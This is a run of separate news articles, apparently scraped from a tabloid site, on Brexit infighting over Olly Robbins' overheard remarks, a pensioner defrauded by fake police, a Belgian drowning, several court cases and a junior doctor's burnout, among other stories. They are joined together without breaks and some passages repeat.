MPs passed Spelman amendment that rejected no-deal Brexit The latest Tory infighting centres on a Remainer-backed amendment that was passed by MPs two weeks ago rejecting the idea of no deal. The text put forward by former Cabinet minister Caroline Spelman said the UK should not 'leave the European Union without a Withdrawal Agreement and a Framework for the Future Relationship'. It was narrowly approved by 318 votes to 310 despite the government whipping against. Although that vote was not binding on ministers, the government motion due to be considered tomorrow endorses 'the approach to leaving the EU expressed by this House on 29 January'. That was apparently intended as a reference to the Brady amendment, which called for the Irish backstop to be replaced with 'alternative arrangements' and was passed with Mrs May's blessing. However, in evidence of the level of distrust within the Tories it has been interpreted by Brexiteers as Mrs May admitting that no deal is off the agenda - despite her repeatedly insisting it is still a possibility. Advertisement

And the PM's spokesman said: 'What the motion reflects is the position the Prime Minister set out after those votes, which is the Parliament wants the UK to leave with a deal, but in order to do so it requires us to secure legally-binding changes in relation to the backstop.'

He added: 'No-deal is an eventuality we wish to avoid, but one we continue to plan for. Does no-deal remain on the table? The answer is yes.'

But ERG deputy chairman Mark Francois said that the motion as it stands 'rules out no deal and removes our negotiating leverage in Brussels'.

He said ministers 'spurned' requests to rewrite the motion last night.

Another senior Tory Brexiteer said: 'Part of the problem now is the distrust that has grown over two years.'

The ERG is holding a meeting this afternoon to decide whether they should take a stand against the motion.

The text put forward by former Cabinet minister Caroline Spelman two weeks ago said the UK should not 'leave the European Union without a Withdrawal Agreement and a Framework for the Future Relationship'.

It was narrowly approved by 318 votes to 310 despite the government whipping against.

Relations between Mrs May and her hardliners deteriorated further today after her EU envoy Oliver Robbins was overheard in a Brussels hotel talking about her tactics.

Mr Robbins loudly told companions in a hotel bar that the 'week beginning end of March' would be critical, just days before the UK is due to leave the bloc.

And he suggested MPs will be confronted with a 'long extension' to the Article 50 process if they do not give the plan the green light at that point.

The private conversation, which happened within earshot of an ITV journalist on Monday night, sent Brexiteers into meltdown.

Chief negotiator Olly Robbins was overheard talking in a bar about Mrs May and Brexit

Labour leader Jeremy Corbyn faced off with Mrs May over Brexit at the PMQs session today

Mrs May has repeatedly insisted that the UK will leave on schedule on March 29 - despite growing doubts among ministers over whether that is realistic even if her package was passed immediately.

Tory hardliners accused the PM of 'ignoring the wishes of the British people' and urged her to ignore Mr Robbins. Former Ukip leader Nigel Farage branded the senior civil servant part of a 'fifth colum' and said he should be sacked.

May faces Tory fury after EU envoy is overheard warning of Brexit delay Theresa May is facing Brexiteer fury today after her EU envoy was overheard saying she will put off a vote on her deal until the last moment - and then threaten to delay the UK's departure unless they approve it. Olly Robbins loudly told companions in a hotel bar that the 'week beginning end of March' would be critical, just days before the UK is due to leave the bloc. And he suggested MPs will be confronted with a 'long extension' to the Article 50 process if they do not give the plan the green light at that point. The private conversation, which happened within earshot of an ITV journalist on Monday night, sent Brexiteers into meltdown. Mrs May has repeatedly insisted that the UK will leave on schedule on March 29 - despite growing doubts among ministers over whether that is realistic even if her package was passed immediately. Tory hardliners accused the PM of 'ignoring the wishes of the British people' and urged her to ignore Mr Robbins. Former Ukip leader Nigel Farage branded the senior civil servant part of a 'fifth colum' and said he should be sacked. Advertisement

Remainers have made clear they will hold off an all-out rebellion in the votes tomorrow to rule out no deal at this stage.

But ministers are threatening to join a revolt in two weeks' time if she has not made a breakthrough in talks with the EU by then.

Mr Robbins was overheard by ITV's Angus Walker following the meeting at the UK Ambassador's Residence between Michel Barnier and Brexit Secretary Stephen Barclay.

'The issue is whether Brussels is clear on the terms of extension,' he was overheard saying by Mr Walker.

'In the end they will probably just give us an extension.'

Asked whether the comments reflected Government policy, Mr Barclay said this morning: 'No.'

Mr Barclay told BBC Radio 4's Today: 'The Prime Minister has been very clear that we are committed to leaving on March 29.'

The Cabinet minister also tried to defuse Eurosceptic anger that the PM's motion effectively rules out no deal by endorsing the results of the votes held last month.

Mr Barclay said that contingency planning for no deal was 'the agreed position of the Cabinet'.

'The agreed policy of Cabinet is to secure a deal. That's our priority and that's what we are working on.'

Mr Robbins, the UK's chief Brexit negotiator, had been at the 'constructive' talks between Mr Barclay and Mr Barnier on Monday night before heading for the hotel bar.

Angus Walker wrote for ITV: 'Robbins said that, in his view, he expects the choice for MPs to be either backing May's deal or extending talks with the EU.

'He expects MPs in March to be presented with backing a reworked Brexit deal or a potentially significant delay to Brexit...

'Robbins added that he thought the fear of a long extension to Article 50 might focus MPs' minds.'

Theresa May has always denied she wants to remain in a permanent customs union with the EU - which is a key demand of Labour.

Labour lines up behind 'fallback' plan to delay Brexit in March Labour today teed up a major battle as it backed a move to delay Brexit if Theresa May's deal is not passed. Shadow Brexit Secretary Sir Keir Starmer confirmed that the party will support a cross-party bid by Yvette Cooper and Nick Boles to force through legislation delaying the Article 50 date, The plan, set for a Commons vote on February 27, would trigger a showdown on March 13 if no deal has been passed, giving MPs the options of approving crashing out or delaying. With Labour now formally behind the proposal it stands a real chance of success, as more than a dozen Tories have signalled backing and some ministers are even ready to quit if necessary. Advertisement

But comments made by Mr Robbins suggest that may have been the original plan.

The envoy apparently confirmed that the Irish backstop was designed not as a 'safety net' to avoid a hard border but as a 'bridge' to the long-term trading relationship.

Mr Robbins was quoted saying: 'The big clash all along is the 'safety net. We agreed a bridge but it came out as a 'safety net'.'

It was also suggested Mr Robbins and the Prime Minister will seek to have the Withdrawal Agreement amended so that the Good Friday Agreement would be less of an obstacle' on the backstop

To do that they will attempt to have the European Commission 'agree that the word 'necessary' in the Northern Ireland protocol is defined as 'necessary subject to the future trade deal'.'

Tory Brexiteer Andrea Jenkyns tweeted: 'If true, the PM should stop ignoring the wishes of the British people and disregarding her own red lines.'

Former Ukip leader Nigel Farage said Mr Robbins was part of the 'Civil Service fifth column' and called for him to be sacked for his combination of 'treachery and incompetence'.

Steve Baker, the deputy chairman of the pro-Brexit Tory European Research Group, urged the PM to ignore Mr Robbins.

'Officials advise. Ministers decide. If the PM decides we are leaving on March 29, deal or no deal, that will happen,' he said.

What will happen next in the unfolding Brexit drama? Valentine's Day MPs will hold another round of votes on Brexit. They are not due to pass judgement on Theresa May's deal - instead debating a 'neutral' motion simply saying that they have considered the issue. However, a range of amendments are set to be tabled. They could include proposals to delay the Brexit date beyond March 29. Labour is pushing a change that would force another 'meaningful vote' on the PM's Brexit deal by February 26, regardless of whether she has finished renegotiating the package with the EU. February 24-25 Mrs May could have an opportunity to seal a new package with fellow EU leaders at a joint summit with the Arab League in Sharm el-Sheikh. However, it is not clear how many will attend the gathering - or whether she will have completed the deal by then. February 27 Downing Street is trying to head off a potential Tory Remainer mutiny by promising MPs will get another set of votes by this date regardless of whether there is a final deal. March 21-22 The PM will attend a scheduled EU summit in Brussels that would effectively be the last opportunity to get agreement. Some MPs fear that Mrs May is trying to delay for as long as possible, and might even try to hold a make-or-break vote in the Commons on March 26. That would be just 72 hours before Brexit, giving them a very stark deal-or-no-deal choice. 11pm, March 29 The UK is due to leave the EU with or without a deal, unless the Article 50 process is extended with approval from the bloc's leaders, or revoked to cancel Brexit altogether. AdvertisementLeopold Reeves (pictured) was conned into thinking that he was helping the police when frauds were scamming him out of his pension

A pensioner with tongue cancer has told how scammers stole almost 74,000 of his savings.

Retired nuclear physicist Leopold Reeves from Barbican, central London, said fraudsters 'took away his pension' saved from his job at Sizewell B and Dungeness A power stations.

The 84-year-old received a call from a man pretending to be a National Crime Agency officer.

He told Mr Reeves that his computer was being used for money laundering and that he needed to take remote control of the device to help identify the offenders.

The pensioner told the Evening Standard: 'Once I logged on to my computer, they installed software which took over the device.

'I never doubted them for a minute. I just accepted it because I grew up law-abiding and trusting the police.'

The scammer told him to log into his online banking and make transfers at local banks to accounts he thought had been set up in his name.

He received receipts and documentation to print off and take to the branches to prove that the accounts were his.

Police found that large deposits were being received by Ranjit Nellikondi, 37, who was then sending the money to India.

Cyber crime officers then tracked the money to Avinash Kakumanu and Dinesh Alavala, both 31.

City of London police raided their property in Newham and seized 150,000 in cash. The money is thought to have been taken from victims other than Mr Reeves.

Alavala (left) and Kakumanu (right) were both jailed after they targeted a pensioner suffering from tongue cancer

After he transferred 73,750 to two accounts last March, Mr Reeves was alerted to a further transfer of 22,000. His bank returned just 25,000.

Mr Reeves said that it was a 'great comfort' when the real police called him because he was able to stop telling 'all the lies' he was made to relay to his bank.

Kakumanu, Alavala and Nellikondi were sentenced after admitting various offences at Southwark Crown Court earlier this month.

Kakumanu, of Newham, was jailed for three years for conspiracy to defraud, two years for money laundering and two for possession of criminal property. His sentences are to be served concurrently.

Alavala, also from Newham, was handed two years and six months for conspiracy to defraud, 18 months for money laundering and 18 months for possession of criminal property. His sentences are to be served concurrently.

Nellikondi, of Rotherham, South Yorkshire, received a two-year suspended sentence for money laundering.This is the moment a Buddhist monk performing a spinning ritual intended to bless the ground becomes nauseous and throws up.

The footage shows Hui Yan, a female monk, performing the spinning ritual on a red carpet during the ceremony in central Taiwan.

Master Hui Yan, who was invited to lead the blessing, can be seen spilling water from plastic bottles on to the red carpet, which symbolises a blessing of the ground.

This is the moment a Buddhist monk performing a spinning ritual intended to bless the ground becomes nauseous and throws up. The footage shows Hui Yan, a female monk, performing the spinning ritual on a red carpet during the ceremony in central Taiwan

The Buddhist nun spins some 150 times during the four-minute dance, and video taken by a devotee shows the ritual appearing to make her dizzy and nauseous.

Hui Yan, who is standing between two followers, is then filmed suddenly throwing up, as her helpers try to make sure she is okay.

The monk was eventually able to complete the blessing and cleansing ceremony.

Some on social media mocked the monk after her ceremonial hiccup.

'Wu Chih-fu' wrote: 'Venerable Spinning Top.'

'Chiu Yung-jen' added: 'This is exactly how I feel after my sixth beer.'This is the terrifying moment a semi-truck smashes into cars waiting at lights after it is clipped coming over a junction.

The massive semi-truck was laden with cargo as it traveled through Abbotsford in British Columbia, Canada on Sunday.

Footage shows a truck appearing to try and turn across the four-way junction on a red light as the semi steams down the opposite side of the road.

Heart stopping: The semi-truck can be seen swerving towards the queue of traffic waiting at a red light on the other side of the road

The front of the semi-truck smashes into a Honda Pilot SUV and plows it off the road

As it does so the semi swerves to avoid it but clips the truck's front end and is sent wildly out of control.

The semi then swerves into the waiting traffic at the red light taking out a large Honda Pilot SUV and its huge trailer rolling over onto the bonnet of the car with the dashboard camera.

Constable Jody Thomas of Abbotsford Police Department confirmed a total of five cars had been involved in the accident, Abbotsford News reported.

Aftermath: The cargo on the back of the freight vehicle has come loose from the straps after the trailer flipped over

Miraculously only one person was taken to hospital but has since been discharged.

The man whose footage captured the incident was terrified, telling the local paper: 'I thought I was going to die.'

The police constable said they would not be releasing further details about the drivers as they continued their investigation.A businessman emotionally embraced his girlfriend outside court after she helped him avoid jail  despite him almost killing her when he threw her over a 20ft wall in a drunken row.

Andrew Pilliner, 42, grabbed Clara Martin around the throat, picked up her legs and chucked her over a parapet after the couple got into an argument on a night out in Bournemouth, Dorset.

She broke her neck after landing head-first on the concrete but miraculously survived the fall and has since made a full recovery.

Despite the horrific nature of the attack, Ms Martin told police from hospital that she still loved her partner of 10 years and did not want him to face charges.

Pilliner later admitted unlawful wounding but was today spared jail after his girlfriend urged the judge not to send him to prison. She called him a 'nice man' and a 'good father' to their four children and insisted it was an isolated incident.

Andrew Pilliner grabbed Clara Martin were spotted hugging and enjoying a cigarette after he was allowed to walk free from court - despite throwing his girlfriend off a 20ft parapet

Pilliner is embraced by Martin after he leaves the court (left) and he is seen lighting up a cigarette (right)

The couple were seen smiling and hugging outside court after Pilliner was handed a 16-month sentence, suspended for 18 months. He was also ordered to carry out 60 rehabilitation activity requirement days and pay 510 prosecution costs.

Pilliner, who runs a printing supply company, and Miss Martin were on a night out on September 21 in Bournemouth, Dorset, when they began arguing.

Mike Mason, prosecuting, told Bournemouth Crown Court: 'He was seen to grab her around the throat with his right hand and push her backwards over a wall. He then picked up her legs and threw her completely over the wall.

'She sustained a serious injury but she could have been killed or suffered a brain injury. There is a lack of pre-meditation, it seems to be a spur of the moment action.'

The court heard the drop was in darkness and Pilliner did not know what was on the other side of the drop.

A witness ran to help Miss Martin and put her in the recovery position. Another witness asked Pilliner 'mate what have you done?', to which he replied 'do you want to be next?'

The couple had been on a night out and were having a drunken argument when Pilliner threw Ms Martin off the side off the walkway

Bouncers at the nearby Square pub held Pillner, from Christchurch, until police arrived.

Ms Martin was rushed to hospital where a CT scan showed she had a fracture to a bone in her neck and had to wear a neck collar for about four months.

She also needed 14 stitches for a cut to the back of her head.

Pavlos Panayi QC, defending, said the victim told police that her partner was a 'nice man' and 'good father' and she didn't want him to get in trouble.

Mr Panayi said his client suffers from a drink problem and had no recollection of the incident.

He said: 'I don't in any way seek to belittle his actions, it's shocking. He could easily have killed or paralysed the woman he loves, he is shocked by that.

'But she sits in court today to prove to you "I am not frightened of him. This is not a story of domestic violence or an abusive relationship. I and my children want him back home so we can put behind us his years of alcohol abuse and addiction."

Clara Martin (right) waits outside Bournemouth Crown Court after Pilliner was spared jail

'He has been consuming, for years, shocking quantities of alcohol - 200-300 units a week, that's five or six bottles of Prosecco a day on top of two or three bottles of spirits.

'He's lucky to be alive frankly.

'In his favour his determination to address his addiction can't be underestimated.'

In sentencing Pilliner, judge Fuller told him he had thrown his partner into the 'unknown'.

He said: 'You placed your hand around her throat and pushed her backwards towards some balustrades and then you were seen by more than one witness to lift her over so that she fell backwards over the balustrade.

'The long and short of it is you, in your drunken state, have thrown her over the wall in comparative darkness, not knowing what was on the other side.

'Whether the fall was broken or not is unclear but she landed on the top part of her body and suffered a laceration from one ear to the back of her head which required 14 stitches and a fracture to the fifth cervical vertebrae.

'Your partner's express desire when she got to the hospital was that she loved you and hoped nothing would happen to you and that you were a good father.

'You assaulted your partner and manhandled her into the unknown. The injuries could have been catastrophic, fortunately that was not the case.

'I am not dealing with this case on the basis you knew there was a 20ft drop or so on the other side. If you were, the sentence would be very much different.

'Your partner says this is not the story of an abusive relationship, this is a single isolated act in an otherwise reasonable relationship.

'What's more, if you were sent to prison today the people who would most suffer are the children. That should be a sharp reminder to you about your parental responsibility and the vulnerability of the children.

'You are the sole provider and there is considerable mitigation which allows me to take the exceptional course of suspending the sentence of imprisonment.'

Pilliner, who admitted unlawful wounding, was sentenced to 16 months in prison, suspended for 18 months, and was ordered to carry out 60 rehabilitation activity requirement days and pay 510 prosecution costs.Emmanuel Macron has blamed the Yellow Vest movement for what he called an 'unacceptable' rise in anti-Semitism in France, on the same day that Germany reported an increase in offences against Jews.

The French leader said a 74 per cent rise in anti-Semitic incidents was a 'new turn of events linked to the movement' of protesters, which has thrown his presidency into crisis.

It came as Germany announced that anti-Semitic offences rose almost 10 per cent last year with violent attacks up more than 60 per cent.

Emmanuel Macron (pictured in Etang-sur-Arroux) has condemned what he called an 'unacceptable increase' in anti-Semitism and linked it to the yellow vest protests

German police recorded 1,646 anti-Semitic offences in 2018, and increase by ten per cent year-on-year, while violent attacks increased by more than 60 per cent (pictured: a German show of solidarity with Jews in Berlin last year)

French authorities reported yesterday that registered incidents of anti-Semitism rose to 541 last year, from 311 in 2017, an increase of 74 per cent.

Today President Macron denounced what he called an 'unacceptable increase', calling it 'a new turn of events linked to the movement' of yellow vest protesters.

'Anti-Semitism is a repudiation of the Republic, in the same way that attacking elected officials or institutions are a repudiation of the Republic,' Macron told ministers during a cabinet meeting.

An Ifop poll this week showed that yellow vest protesters were more likely to believe in conspiracy theories than the rest of the population.

The results showed nearly half of the respondents believed in a worldwide 'Zionist plot'.

In Germany, police recorded 1,646 offences motivated by hatred against Jews last year, said a government answer to a request by far-left Die Linke party lawmaker Petra Pau.

Among these were 62 violent offences that left 43 people injured, up from 37 physical attacks the previous year.

Germany, like other western countries, has watched with alarm as anti-Semitic and other racist hate speech and violence have increased in recent years as the political climate has coarsened and grown more polarised.

A mass influx of mostly Muslim refugees and migrants to Germany from 2015 drove the rise of the far-right and anti-immigration Alternative for Germany (AfD) party, which since late 2017 is the biggest opposition group in parliament.

Leading AfD members, aside from railing against Islam and multiculturalism, have also made comments that play down the Holocaust.

Party co-leader Alexander Gauland described Nazi Germany's industrial-scale murder of Jews and other minorities as a mere 'speck of bird poo in over 1,000 years of successful German history'.

Another leading AfD politician, Bjoern Hoecke, has criticised the sprawling Holocaust memorial in Berlin as a 'monument of shame'.

The president of the Central Council of Jews in Germany, Josef Schuster, and other Jewish community leaders have accused the AfD of fomenting hate against refugees, Muslims and Jews.

Protests: A car burns in front of the Eiffel Tower during the latest round of Yellow Vest protests which Emmanuel Macron has linked to a rise in anti-Semitism

Taking action: Some 2,000 people gathered for a march against anti-Semitism in Berlin last year, as the reports of such crimes increased dramatically

At the same time, Germany has also witnessed a rise in anti-Semitic attacks committed by migrants from Arab states.

In one prominent case last year a 19-year-old Syrian man was convicted for assault after lashing out with his belt at an Israeli man wearing a Jewish kippa skullcap while shouting 'yahudi', Jew in Arabic.

A video of the street assault, filmed by the victim on his smartphone, had sparked widespread public revulsion as it spread on social media, and triggered street rallies in solidarity with Jews.

News of the belt attack coincided with another public outcry, over a rap duo who made light of Nazi death camp prisoners but went on to win the music industry's sales-based Echo award, which was subsequently axed.

Days after the belt assault, some 2,000 people rallied at a 'Berlin Wears Kippa' solidarity demonstration, matched by smaller events in several other German cities.

Most anti-Semitic offences were however committed by far-right perpetrators, reported the Berlin daily Tagesspiegel in an article on the new crime statistics.

Pau in her statement charged that 'we are seeing that militant right-wing extremists can openly call for the desecration of Jewish institutions and attacks against Jewish people'.

A rising number of people and groups in the 'grey zone between conservatism and right-wing extremism are denying the Holocaust and engaging in anti-Semitic agitation,' she said.A senator who accused Pauline Hanson of sexual harassment has been pictured tussling with a One Nation advisor in the halls of parliament.

Former One Nation member, Brian Burston, who is now with Clive Palmer's United Australia Party, got into the physical confrontation with James Ashby in Canberra on Wednesday.

The altercation comes after Mr Burston claimed Ms Hanson had sexually harassed him on three occasions over two decades, The Australian reported.

Pauline Hanson has rubbished the comments.

Scroll down for video

Brian Burston (pictured left), who is now with Clive Palmer's United Australia Party, made the sensational claims on Wednesday before he was asked about sexual harassment claims against him from former staffer

Mr Burston claimed Ms Hanson sexually harassed him on three separate occasions over a 20 year period

Mr Ashby used his phone to film Mr Burston as he left the Australian Minerals Industry Parliamentary Dinner on Wednesday, caused the 70-year-old to lash out.

Security was then called to Ms Hanson's office after reports of a 'red substance' on the door, presumed to be blood from the scuffle.

Mr Burston reported the incident to the Australian Federal Police, The Daily Telegraph reported.

'I told him to f*** off, I lost it I grabbed him and I pushed him up against the wall, I defended myself and my wife, physically,' Mr Burston told the publication.

Mr Burston claims Ms Hanson ran her fingers up and down his spine as they stood on stage at the One Nation Party's first Annual General Meeting at the Rooty Hill RSL in 1998.

He said the second alleged incident took place in 2016 while visiting her home with former politician Peter Breen.

After he made the claims of sexual harassment, Mr Burston and One Nation advisor James Ashby (pictured) got into a confrontation in Parliament House

Mr Ashby (pictured with Ms Hanson) used his phone to film Mr Burston as he left the Australian Minerals Industry Parliamentary Dinner on Wednesday

Mr Burston claimed Ms Hanson propositioned him, telling him he could stay the night.

In an alleged third incident, Mr Burston claimed the pair were at dinner when Ms Hanson mentioned she had some free time after the meal, allegedly saying 'what do you reckon?'.

Ms Hanson has hit out at the sexual harassment claims, calling them baseless and 'hilarious'.

'I wouldn't go near him with a barge pole ... I just feel it's quite hilarious that he's made these allegations against me,' she told the publication.

Mr Breen also hit out at the claims of sexual harassment levelled against Ms Hanson.

'For Brian to suggest that (invitation to stay at her property) was some kind of advancement by Pauline is just ridiculous,' he said.

Ms Hanson hit out at the sexual harassment claims as baseless and 'hilarious', saying she wouldn't 'go near him with a barge pole'

'I can't recall an occasion where she hasn't invited someone to stay ... Pauline Hanson has much better taste than to be sexually harassing Brian Burston.'

He said it was common for colleagues and friends to stay at Ms Hanson's property, which has separate accommodation from her home and is over an hour away from the nearest airport.

Mr Burston said he left the One Nation Party in June of 2018 to join the United Australia Party as a result of the perceived sexual harassment from Miss Hanson.

'I wouldn't go near him with a barge pole ... I just feel it's quite hilarious that he's made these allegations against me,' Ms Hanson (pictured) said

However, at the time, he told media he left the party after not being asked if the party should withdraw support from the company tax cuts plan put forward by the Federal Government.

Following his claims of sexual harassment Mr Burston was asked about the 2018 claims he offered to have sex with a staffer to help improve her mood, The Sydney Morning Herald reported.

The claims against Mr Burston were put forward in a complaint sent to the Department of Finance in 2018.

'I was a bit distressed and was speaking to BB [Brian Burston] in his private office when he offered to f*** me to make things better, I refused his approach, but inside my world shattered,' the female staffer wrote in the complaint.

The staffer even went as far as to describe Mr Burston as a 'delusional megalomaniac'.

The publication is reporting that Mr Burston denied all claims against him.A British father has been found dead in Belgium after he apparently stumbled off a woodland path and fell into a freezing river.

Jason Gapper, 33, went missing on Saturday after he and his fiancee Aure Flament had been guests at a wedding in Villerot.

His body was found in the river on Sunday near where the couple had walked from the wedding venue back to their accommodation.

The father-of-one from Bristol - described as 'funny and caring' by relatives - is believed to have stumbled off the path.

Tragic last picture: Jason Gapper, 33, poses with his fiancee hours before he went missing after attending a wedding in Belgium. His body was found in a river the next day

The care home chef was just yards behind his fiancee when he disappeared, in what Belgian police believe was an accidental death.

Police searched the area and found Jason's phone close to the entrance of the woods.

Mr Gapper's family are trying to raise 7,000 to repatriate his body back to the UK because he did not have travel insurance.

His aunt Leanne Pitt, 33, said: 'We are all just so shocked, the past few days have felt so surreal, like a bad dream.

'We can't believe that he has been taken from us - it was so sudden that it feels impossible.

'Thirty-three is no age to go - he had his whole life ahead of him.

'He was just really funny and such a caring person. He loved music, animals and helping wherever he could.

'He had so much to look forward to, and was really enjoying life - he had a new job, was watching his daughter grow up and was due to be married.

'One moment he was here and the next he was gone.

'When we called the residential home he had just started working at they just told us what an inspiration he was to everyone who lived there, it had only been two weeks but they loved him.

Victim: Jason Gapper (pictured), a father-of-one from Bristol, went missing on Saturday after he and his fiancee had been guests at a wedding in Villerot

'He always had a way with people and knew how to see the best in everyone.'

Leanne rushed to Villerot, a part of the city of Saint-Ghislainon in west Belgium, on Sunday to join the search effort with Jason's parents.

But Jason, who has a six-year-old daughter, had been found by the time they arrived.

He had recently started a job in Southend-on-Sea, Essex, as a chef in a care home after working as a charity fundraiser in Bristol for a number of years.

A Gofundme page has raised just under 2,000 of the 7,000 needed to bring Jason's body back to the UK.

Leanne added: 'It's important for us as family to have him home, but most of all it's for his daughter - she needs to grow up knowing where her daddy is and knowing that she can go and see him.

'We could never have seen this coming and we couldn't pay such a large amount of money straight away.

'As soon as we were handed the bill and found out that it was going to be 7,000, I knew that I had to do whatever I could to get him home with us.

'We have an amazing response to the fundraiser so far, I can't believe how generous people have been and it goes to prove how many people's lives he touched in one way or another.'Christine Alyce Slayman, 28, has been sentenced to 40 years in jail after she admitted abusing a six-year-old and filming it

A child pornographer has been sentenced to 40 years in jail after she filmed herself abusing a six-year-old boy.

Christine Alyce Slayman, 28, pleaded guilty to producing 18 videos of her either abusing the youngster or instructing them to engage in sex acts.

But she said she was forced into it by her boyfriend, who has not yet been indicted.

Investigators say Slayman abused the infant over several months in 2015, when she was living in King William, Virginia.

She made videos of the abuse on her phone and brought them with her when she moved to Jacksonville, Florida.

Officers raided her home after receiving a tip-off, and she was arrested after the videos were discovered.

Dale Carson, Slayman's attorney, said she was 'critically instructed' by her boyfriend to abuse the child and record it.

'Following [her boyfriend's] orders, Ms. Slayman then sent those videos from her cell phone to [him],' Carson wrote, according to NBC12.

Slayman's lawyer told the court (pictured) that she had only made the videos after being commanded by her boyfriend, and that he has yet to be indicted

'Ms. Slayman immediately deleted the video off her cell phone. Unknown to Ms. Slayman, [her boyfriend] copied those videos onto a USB thumb drive.

'Later, [her boyfriend] personally brought the thumb drive to Jacksonville in 2017 when the couple moved from Virginia.

'[Slaymans boyfriends] purpose in retaining the videos was to later extort behavior consistent with his desires.

'[Slayman] gave as much information to the Government as she possibly could in hopes of [her boyfriend] also being held responsible for his role in these actions, though he has not yet been indicted.'

She will now serve four decades behind bars, with the rest of her life spent under supervision after release.

James Spero, an agent with Homeland Security, said: 'While todays sentencing marks an end to the investigation and prosecution of this criminal, it is important to remember that a child will carry the scars of this crime for their lifetime.'A Sydney surgeon who exposed the horror working conditions she endured as a junior doctor has revealed how the industry 'broke' her in just four months.

Dr Yumiko Kadota resigned from Bankstown Hospital after working 24 days straight, and spent the next six weeks in hospital being treated for sleep deprivation.

Since resigning from the intense position, Dr Kadota took to a personal blog to expose the poor working conditions endured by junior 'trainee' doctors.

She poured more than a decade of her life into studying medicine and surgery, but quickly fled the profession after experiencing the 'toxic' workplace culture.

Dr Yumiko Kadota (pictured) resigned from Bankstown Hospital after working 24 days straight, and spent the next six weeks in hospital being treated for sleep deprivation

Since resigning from the intense position, Dr Kadota took to a personal blog to expose the poor working conditions endured by junior 'trainee' doctors

Dr Kadota completed six years at university, one year of an internship and two years of residency before she had her first unaccredited registrar term in plastic surgery.

The position was at Bankstown-Lidcombe Hospital in Sydney's west and she started in February 2018.

Talking to ABC's 7:30 Report, she said the long hours in the busy hospital were horrific, but she's learnt to put her health first.

'It was four months of hell,' the 31-year-old doctor said.

The 31-year-old exposed the industry and detailed how the first years working in the health system can be a brutal experience for all young doctors.

Dr Kadota was traumatised by the end of the four months, but unfortunately it's not an uncommon situation.

'From the first week I was working extremely long hours and there was one particular week that stands out to me now which is a week where I had a 12-hour day on the Monday, and then 20 hours on the Tuesday and 16 hours on the Wednesday,' she said.

In her first month alone, Dr Kadota worked more than 100 hours of overtime and raised concerns with the medical administration.

The combination of stress, sleep deprivation, dehydration and poor nutrition quickly took a toll on her body and Dr Kadota became unwell, disheveled and burnt out.

The combination of stress, sleep deprivation, dehydration and poor nutrition quickly took a toll on her body and Dr Kadota became unwell, disheveled and burnt out

The 31-year-old exposed the industry and detailed how the first years working in the health system can be a brutal experience for all young doctors

'I think over the years I've learnt to ignore some of the more mental symptoms of feeling stressed. But when my body started to break down that's when I knew I was starting to get some gut problems and that was the big sign to me that my body wasn't right,' she said.

The young doctor first documented her long journey in a blog post titled 'The ugly side of becoming a surgeon'.

She revealed how she transitioned from 'bright-eyed and bushy-tailed beginnings' into 'the worst working days of my life'.

She described her career trajectory as a 'demise', but stressed that she didn't want to discourage people from entering the industry, only to raise awareness of the 'toxic surgical environment that still exists in Australia'.

Dr Kadota was traumatised by the end of the four months, but unfortunately it's not an uncommon situation

Dr Kadota said she was lauded as one of the top surgical interns her hospital had ever seen.

The encouragement made her the first to enter the hospital and the last to leave, soaking up all the information she could.

A senior neurosurgeon constantly overlooked her for assignments, instead choosing in 'favour of a pretty girl'.

The same neurosurgeon would constantly taunt her, saying she was on a 'downward spiral' and telling her to take her clothes off in Japanese.

The hospital became a home and a workplace all in one.

Workdays spanning 20 hours meant there was no time to go home and sleep before her next shift started.

Dr Kadota said she was lauded as one of the top surgical interns her hospital had ever seen

She poured more than a decade of her life into studying medicine and surgery, but quickly fled the profession after experiencing the 'toxic' workplace culture

She would just sleep in the 'recovery' room, where the clattering of the overnight staff made for a restless sleep.

Talk of her issues made its way through the halls until her head of department called her.

''We need to look after you. You're damn good, you're damn good,' said the voice on the other line with so much conviction that I believed it. 'I don't want you to burnout'  but I already was.'

She resigned on June 1 last year, her 24th consecutive work day.

With her resignation, she knew she would be blacklisted from ever getting another job in a Sydney plastic surgery, but enough was enough.

'I was physically alive, but spiritually broken,' she wrote.

When word of her resignation got back to her head of department, he asked if she couldn't just 'hold on' for another couple of months.

When she told him she couldn't, he replied: 'It's a shame. You have good hands. You're good at what you do but if you can't handle the hours, maybe this isn't for you.'The first picture has emerged of the illegal immigrant accused of killing his ex-girlfriend and stuffing her body into a suitcase as police say he admitted dumping her remains but has denied murder.

Javier Enrique Da Silva Rojas, 24, is accused of murdering Valerie Reyes, also 24, in New Rochelle, New York, before tying her up, stuffing her into a case, then leaving it by the side of a road in Greenwich, Connecticut.

Rojas was arrested at his condo on Tuesday and police say he told them that Reyes died after falling and hitting her head while the pair were having sex.

An image taken from his Instagram account shows the pair side by side in a CVS pharmacy a year ago.

Javier Enrique Da Silva Rojas, 24 (left), admitted stuffing ex-girlfriend (right) Valerie Reyes' body into a suitcase and dumping it, but denied murdering her and said she died during sex

Reyes (left and right) was reported missing on January 30 when she failed to turn up for work before her remains were discovered last week

Rojas told police that Reyes fell and hit her head during sex - killing her - and that he then bound and gagged her, put her in a suitcase, and dumped her body in woodlands

The reddish-orange suitcase containing Reyes' body was discovered by highway workers in Greenwich around 8.15am Tuesday, one week after the 24-year-old was last seen on January 29

Investigators say Rojas admits he then bound her hands and feet, put packing tape over her mouth, forced her body into a case, and abandoned it.

Rojas, an illegal immigrant with joint Venezuelan-Portuguese citizenship who was staying in Queens, was arrested Tuesday after police say he tried to use Reyes' bank card to withdraw $1,000 from an ATM.

Reyes was reported missing on January 30 when she failed to turn up for work, before her body was found on February 5.

Reyes had reportedly dumped Rojas a week before she went missing, though her mother told police that the pair hadn't been seeing each other for a year, according to the New York Post.

A source told CBS that Reyes was 'killed at her residence'.

The arrest followed the police investigation of multiple crime scenes, reviewing hundreds of hours of surveillance footage, and interviews multiple potential witnesses, the Greenwich Police Department said in a press release on Tuesday.

Rojas was arrested Tuesday after he tried to use Reyes' bank card to withdraw $1,000 from an ATM, according to police

In a haunting message sent to her mother the day before she vanished, Reyes said she feared someone was about to kill her

Reyes reportedly broke up with Rojas just days before she went missing, though her mother told reporters that the pair actually stopped dating a year ago

'New Rochelle Police Detectives accompanied by Greenwich Police Detectives, arrested a suspect in New York who had fraudulently used the ATM card of homicide victim Valerie Reyes.

'The arrested individual is also believed to be involved in the death of Valerie.

'We are confident that the pursuit of justice for Valerie will be successful and we continue to work with the family to provide closure to this tragedy,' the police statement said.

Reyes is seen in a picture issued by the NYPD while officers were searching for her after she was reported missing on January 30

In a press conference on Tuesday Greenwich Police said that de Silva confessed to playing a role in the murder when he was questioned following his arrest.

He was described as being cooperative during his interview.

